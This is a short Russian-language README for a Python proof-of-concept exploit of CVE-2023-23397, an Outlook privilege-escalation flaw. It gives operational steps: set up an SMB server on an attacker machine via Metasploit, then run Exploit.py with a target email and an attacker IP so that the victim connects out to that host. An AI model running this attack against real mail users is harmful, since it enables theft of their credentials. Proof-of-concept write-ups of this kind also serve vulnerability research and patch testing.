CVE-2023-23397 (повышение привилегий в Outlook)

Доказательство концепции для CVE-2023-23397 на Python

Быстрое и простое «доказательство концепции» на Python для уязвимости Outlook, затрагивающей продукты Microsoft Office/365.

Использование

1. Установите pywin, выполнив pip install pywin32
2. Запустите SMB-сервер на машине атакующего, например, модуль SMB из Metasploit
3. Выполните python Exploit.py <save_or_send> <target email> <attacker_ip>, передав команду (save или send), адрес электронной почты цели и IP-адрес машины атакующего.